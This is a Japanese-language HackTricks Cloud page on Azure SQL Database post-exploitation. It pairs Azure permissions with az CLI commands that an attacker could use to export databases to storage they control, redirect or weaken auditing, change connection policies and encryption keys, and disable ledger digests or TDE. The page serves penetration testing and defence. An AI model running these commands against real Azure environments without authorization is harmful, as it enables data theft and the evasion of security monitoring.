Az - SQL Database Post Exploitation
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
SQL Database Post Exploitation
SQL Databaseに関する詳細情報は、以下を確認してください:
Microsoft.Sql/servers/databases/read
, Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新できます。このポストエクスプロイト活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
この権限(Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
)を使用すると、削除されたデータベースを復元できます:
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"
Microsoft.Sql/servers/elasticPools/write
&& Microsoft.Sql/servers/elasticPools/read
これらの権限を持つ攻撃者は、侵害された環境内でelasticPoolsを作成および更新できます。このポストエクスプロイテーション活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
Microsoft.Sql/servers/auditingSettings/read
&& Microsoft.Sql/servers/auditingSettings/write
この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や権限のあるユーザーが監査構成を操作し、痕跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意: Azure SQL Serverの監査をBlob Storageを使用して有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read
, Microsoft.Sql/servers/connectionPolicies/read
&& Microsoft.Sql/servers/connectionPolicies/write
この権限を使用すると、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用される可能性があります。
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
Microsoft.Sql/servers/databases/export/action
この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから機密データをエクスポートして自分が管理する場所に移すことで、重大なデータ漏洩のリスクを引き起こす可能性があります。これを実行するには、ストレージキーを知っておくことが重要です。
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
Microsoft.Sql/servers/databases/import/action
この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、インポートされたデータベース内に機密データへの制御を得たり、有害なスクリプトやトリガーを埋め込んだりすることができます。さらに、Azure内の自分のサーバーにインポートすることもできます。注意: サーバーは、Azureサービスとリソースがサーバーにアクセスすることを許可する必要があります。
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
Microsoft.Sql/servers/connectionPolicies/write
&& Microsoft.Sql/servers/connectionPolicies/read
この権限を持つユーザーは、Azure SQL サーバーの接続ポリシーを変更および取得できます。これらの権限により、クライアントがサーバーに接続する方法を変更できる—リダイレクトやプロキシなどの方法を選択することができ、誤って設定された場合にはセキュリティを弱体化させたり、トラフィックをリダイレクトしたり、機密データを傍受したりすることが悪用される可能性があります。
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
Microsoft.Sql/servers/keys/write
&& Microsoft.Sql/servers/keys/read
この権限を持つユーザーは、Azure SQL Server に関連付けられた暗号化キーを更新および取得できます。これらのキーは、暗号化を通じて機密データを保護するために使用されることが多いため、それらを操作すると、不正な復号化やキーのローテーション変更を許可することによってデータセキュリティが危険にさらされる可能性があります。
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action
, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read
, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read
この権限は、Azure SQL Database の Ledger Digest を無効にすることを許可し、データの整合性を検証するための暗号学的ダイジェストレコードの定期的なアップロードを Azure Blob Storage に停止します。
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
Microsoft.Sql/servers/databases/transparentDataEncryption/write
, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read
, Microsoft.Sql/servers/databases/transparentDataEncryption/read
この権限は、認可されたユーザーまたは攻撃者がAzure SQLデータベースの透過的データ暗号化(TDE)設定を有効化、無効化、または変更することを許可し、暗号化設定を変更することでデータセキュリティに影響を与える可能性があります。
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。